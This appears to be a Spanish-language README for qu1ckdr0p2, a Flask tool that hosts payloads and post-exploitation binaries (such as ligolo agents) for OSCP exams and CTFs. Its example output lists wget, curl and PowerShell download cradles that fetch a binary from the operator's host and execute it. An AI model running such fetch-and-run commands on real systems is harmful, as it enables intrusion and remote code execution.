
Sirve archivos rápidamente a través de http o https usando Flask.
Aloja rápidamente cargas útiles (payloads) y binarios de post-explotación a través de HTTP o HTTPS.
Diseñado para ser usado en exámenes como OSCP / PNPT o CTFs HTB / etc.
Las solicitudes de extracción (pull requests) y los reportes de incidencias (issues) son bienvenidos, así como cualquier contribución.
Qu1ckdr0p2 viene con una función de alias y búsqueda. Las herramientas se encuentran en el repositorio qu1ckdr0p2-tools. Por defecto generará un certificado autofirmado para usar cuando se emplee la opción --https; también se da prioridad a la interfaz tun0 cuando el servidor web se está ejecutando; de lo contrario usará eth0.
El archivo common.ini define los alias mapeados utilizados con las opciones --search y -u.
Cuando el servidor web se está ejecutando, se muestran en pantalla varios comandos de descarga (download cradles) listos para copiar y pegar.
Al copiar y pegar un comando de descarga, dependiendo de tu emulador de terminal, es posible que debas hacer doble o triple clic RÁPIDAMENTE sobre el comando para resaltarlo y copiarlo. Esto se corregirá en una versión posterior.
pip3 install qu1ckdr0p2
echo "alias serv='~/.local/bin/serv'" >> ~/.zshrc
source ~/.zshrc
or
echo "alias serv='~/.local/bin/serv'" >> ~/.bashrc
source ~/.bashrc
serv init --update
$ serv serve -f implant.bin --https 443
$ serv serve -f file.example --http 8080
$ serv --help
Usage: serv [OPTIONS] COMMAND [ARGS]...
Welcome to qu1ckdr0p2 entry point.
Options:
--debug Enable debug mode.
--help Show this message and exit.
Commands:
init Perform updates.
serve Serve files.
$ serv serve --help
Usage: serv serve [OPTIONS]
Serve files.
Options:
-l, --list List aliases
-s, --search TEXT Search query for aliases
-u, --use INTEGER Use an alias by a dynamic number
-f, --file FILE Serve a file
--http INTEGER Use HTTP with a custom port
--https INTEGER Use HTTPS with a custom port
-h, --help Show this message and exit.
$ serv init --help
Usage: serv init [OPTIONS]
Perform updates.
Options:
--update Check and download missing tools.
--update-self Update the tool using pip.
--update-self-test Used for dev testing, installs unstable build.
--help Show this message and exit.
$ serv init --update
$ serv init --update-self
Los números de alias mapeados para la opción -u son dinámicos, por lo que no es necesario recordar números específicos ni escribir el nombre de una herramienta.
$ serv serve --search ligolo
[→] Path: ~/.qu1ckdr0p2/windows/agent.exe
[→] Alias: ligolo_agent_win
[→] Use: 1
[→] Path: ~/.qu1ckdr0p2/windows/proxy.exe
[→] Alias: ligolo_proxy_win
[→] Use: 2
[→] Path: ~/.qu1ckdr0p2/linux/agent
[→] Alias: ligolo_agent_linux
[→] Use: 3
[→] Path: ~/.qu1ckdr0p2/linux/proxy
[→] Alias: ligolo_proxy_linux
[→] Use: 4
(...)
$ serv serve --search ligolo -u 3 --http 80
[→] Serving: ../../.qu1ckdr0p2/linux/agent
[→] Protocol: http
[→] IP address: 192.168.1.5
[→] Port: 80
[→] Interface: eth0
[→] CTRL+C to quit
[→] URL: http://192.168.1.5:80/agent
[↓] csharp:
$webclient = New-Object System.Net.WebClient; $webclient.DownloadFile('http://192.168.1.5:80/agent', 'c:\windows\temp\agent'); Start-Process 'c:\windows\temp\agent'
[↓] wget:
wget http://192.168.1.5:80/agent -O /tmp/agent && chmod +x /tmp/agent && /tmp/agent
[↓] curl:
curl http://192.168.1.5:80/agent -o /tmp/agent && chmod +x /tmp/agent && /tmp/agent
[↓] powershell:
Invoke-WebRequest -Uri http://192.168.1.5:80/agent -OutFile c:\windows\temp\agent; Start-Process c:\windows\temp\agent
⠧ Web server running
MIT